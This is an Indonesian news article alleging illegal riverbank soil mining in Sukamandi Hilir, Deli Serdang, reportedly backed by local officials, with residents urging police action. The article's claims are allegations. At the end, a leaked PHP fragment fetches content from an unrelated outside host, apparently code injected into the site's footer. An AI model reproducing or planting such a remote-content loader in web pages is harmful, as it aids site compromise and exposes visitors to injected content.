Lapor Bapak Kapolda Sumatera Utara : Dugaan Tambang Gakian C ilegal Rusak Tanah Bantaran Sungai Ular Desa Sukamandi Hilir Merajalela Segera Di Tangkap

Senin, 30 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Deli Serdang | Jejakkasus.info – Pengorekan tanah ilegal atau biasa di sebut galian C diduga ilegal ini, kini semakin merajalela melakukan pengorekan tanah bantaran sungai Ular yang terletak di kawasan wilayah pemerintahan desa Sukamandi Hilir Kecamatan Pagar Merbau kabupaten Deli Serdang Sumatera Utara

Galian C ilegal berjalan lancar seakan seolah-olah pengorekan tanah bantaran tersebut di benarkan dan resmi, di sinyalir dan diduga tidak tersentuh oleh aparat penegak hukum Kepolisian Polresta Deli Serdang terbukti lancarnya kenderaan dumtruck keluar masuk dari lokasi Pengorekan ilegal tanah bantaran sungai Ular untuk di komersilkan kepada para pengusaha batu bata ataupun warga yang membutuhkan untuk keperluan lainnya dengan harga per dumtruck sebesar Rp.250.000 hingga Rp.300.000,- dibayar tunai oleh supir kepada pengusaha.

Baca Juga:  Peringatan HUT ke-76 RI Jejak Kasus dan Solidaritas Gelar Lomba

Pengusaha galian C ilegal diduga dilakukan oleh salahsatu oknum kepala dusun desa Sukamandi Hilir yang di back up oleh salahsatu oknum TNI yang ada di wilayah kabupaten Deli Serdang. Saat tim awak media lakukan konfirmasi kepada salahsatu oknum Kepala Dusun desa Sukamandi Hilir saat berada dalam lokasi Pengorekan tanah Sabtu (28-09-2024) mengatakan ” Korekan ini bukan punya saya tapi ini punya orang 121 ” jawabnya singkat dan langsung pergi meninggalkan awak media.

Baca Juga:  Polantas Aceh Hadir: Sat Lantas Polres Aceh Jaya Atur Lalu Lintas di Pasar Tumpah Kayee Unoe

Selanjutnya tim awak media lakukan konfirmasi kepada Kepala Desa Sukamandi Hilir Bahrul Ilmi S.Ag via WhatsApp nomor 085364292*** Sabtu (28-09-2024) namun hingga berita ini di tayangkan kepala desa Sukamandi Hilir tidak menjawab konfirmasi yang dikirim awak media ke WhatsApp pribadi Kepala Desa Bahrul Ilmi

Sesuai Undang-undang tentang galian C ,Undang-undang yang mengatur pelanggaran galian C adalah Undang-Undang Nomor 3 Tahun 2020 tentang Perubahan atas Undang-Undang Nomor 4 Tahun 2009 Tentang Pertambangan Mineral dan Batubara.

Sanksi yang akan diberikan kepada pelaku aktivitas galian C tanpa izin adalah: Pidana penjara hingga 10 tahun, Denda maksimal Rp.10.000.000.000,- ( 10 miliar rupiah)

Baca Juga:  Antisipasi Kriminalitas, Ops Ketupat Agung Polda Bali Sasar Rumah Kosong Ditinggal Mudik

Warga desa Sukamandi Hilir dan Pemuka Masyarakat desa kecamatan Pagar Merbau ( SA ) Sabtu (28-09-2024) meminta Kepada Bapak Kapolda Sumatera Utara untuk segera melakukan tindakan dan menangkap pelaku galian C ilegal beserta alat beratnya , hal tersebut demi amannya warga desa sekecamatan Pagar Merbau dari ancaman banjir yang kemungkinan bisa terjadi bila datang hujan yang durasinya sangat tinggi karena selain mencuri tanah milik negara juga mereka telah merusak populasi tanah bantaran sungai menjadi berantakan dan sangat membahayakan warga setempat. ( Sa./Tim )

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>